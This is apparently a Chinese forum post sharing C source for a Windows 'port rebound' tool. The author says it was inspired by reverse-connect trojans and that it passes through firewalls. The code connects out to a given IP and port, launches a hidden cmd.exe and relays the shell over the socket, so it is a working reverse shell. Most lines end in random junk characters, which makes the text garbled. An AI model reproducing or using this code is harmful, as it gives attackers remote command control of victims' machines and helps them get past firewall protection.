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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]3*P:$Rq  
w *50ZS;N  
/* ============================== QR<`pmB~y  
Rebound port in Windows NT 43zUN  
By wind,2006/7 +TC1nkX  
===============================*/ CqqXVF3  
#include LA-_3UJx  
#include B?LXI3sQZ  
25:Z;J>  
#pragma comment(lib,"wsock32.lib") ddsUz1%l  
0$6*o}N%  
void OutputShell(); *5'.!g('  
SOCKET sClient; .~3kGf":  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; CRFCqmevR  
v "Me{+  
void main(int argc,char **argv) EYL]TeS  
{ \PpXL*.  
WSADATA stWsaData; 7K&}C;+  
int nRet; ?d$"[lKX  
SOCKADDR_IN stSaiClient,stSaiServer; E\0X`QeY  
?O??cjiA@  
if(argc != 3) }g`Gh|C  
{ 8L%M<JRg~  
printf("Useage:\n\rRebound DestIP DestPort\n"); -hWC_X:9jP  
return; Y\xUT>(J7  
} [C1 LT2a  
bAf,aV/C&|  
WSAStartup(MAKEWORD(2,2),&stWsaData); 7+}JgUh  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %Rp8{.t7  
UVz/n68\k7  
stSaiClient.sin_family = AF_INET; IdPn%)>6  
stSaiClient.sin_port = htons(0); bd!U)b(}OV  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); o0ZIsrr  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ak;6z]f8[  
{ n@!wp/J,  
printf("Bind Socket Failed!\n"); %KtU1A(["  
return; OL'P]=U  
} \fZiL!E^7  
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stSaiServer.sin_family = AF_INET; rK1-Mu  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Z!6UW:&~7  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?  -3\  
)RN<GW'  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;QBh;jg4  
{ B**Nn!}0  
printf("Connect Error!"); 5 L/x-i  
return; $5AC1g'  
} 2j&v;dmh<  
OutputShell(); qI%&ay"/  
}  G2`${aMS  
hQRL,?  
void OutputShell() vE%s, E,  
{ ~6`iY@)  
char szBuff[1024]; *5k+t  
SECURITY_ATTRIBUTES stSecurityAttributes; wv?RO*E  
OSVERSIONINFO stOsversionInfo; BcQEG *N  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; h[kU<mU"T  
STARTUPINFO stStartupInfo; b9~A-Z  
char *szShell; 3`*Kav>"  
PROCESS_INFORMATION stProcessInformation; k$N0lR4:p  
unsigned long lBytesRead; 48O~Jx,  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1l5J P|x  
d"E^SBO&  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0*8TS7.3  
stSecurityAttributes.lpSecurityDescriptor = 0; C!+I>J{4f  
stSecurityAttributes.bInheritHandle = TRUE; qmglb:"  
xCXQ<77  
HeLG?6  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); p@~ic#X  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); irbw'^;y  
R_ ZK0ar  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $TG =w  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?>$l  
stStartupInfo.wShowWindow = SW_HIDE; N\NyXh$  
stStartupInfo.hStdInput = hReadPipe; ` qUX.  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; o.m:3!RW  
B(_WZa!  
GetVersionEx(&stOsversionInfo); k()$:-V  
0|c}p([~  
switch(stOsversionInfo.dwPlatformId) f>2MI4nMG  
{ r^0F"9eOL  
case 1: +1rkq\{l  
szShell = "command.com"; 7b[wu~'( n  
break; 5'KA'>@  
default: ),(V6@Z?  
szShell = "cmd.exe"; /(hUfYm0  
break; iEm ?  
} E5</h"1  
u 8^{  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); SJ?cI!=x  
MSw$_d  
send(sClient,szMsg,77,0); %Ip*Kq-  
while(1) >6<q8{*  
{ #wY0D_3@1  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _%/}>L>-`8  
if(lBytesRead) YJ_\Ns+Ow  
{ zmI]cD@G  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %<0eA`F4  
send(sClient,szBuff,lBytesRead,0); z//VlB  
} ?'s6Xmd  
else s58 C2  
{ :o46rBs  
lBytesRead=recv(sClient,szBuff,1024,0); q?):oJ  
if(lBytesRead<=0) break; KC`q#&dt  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); */^QH@P  
} 'Gl&Pa1g?  
} k D5!}+y  
|'d>JT:  
return; I_1e?\  
}
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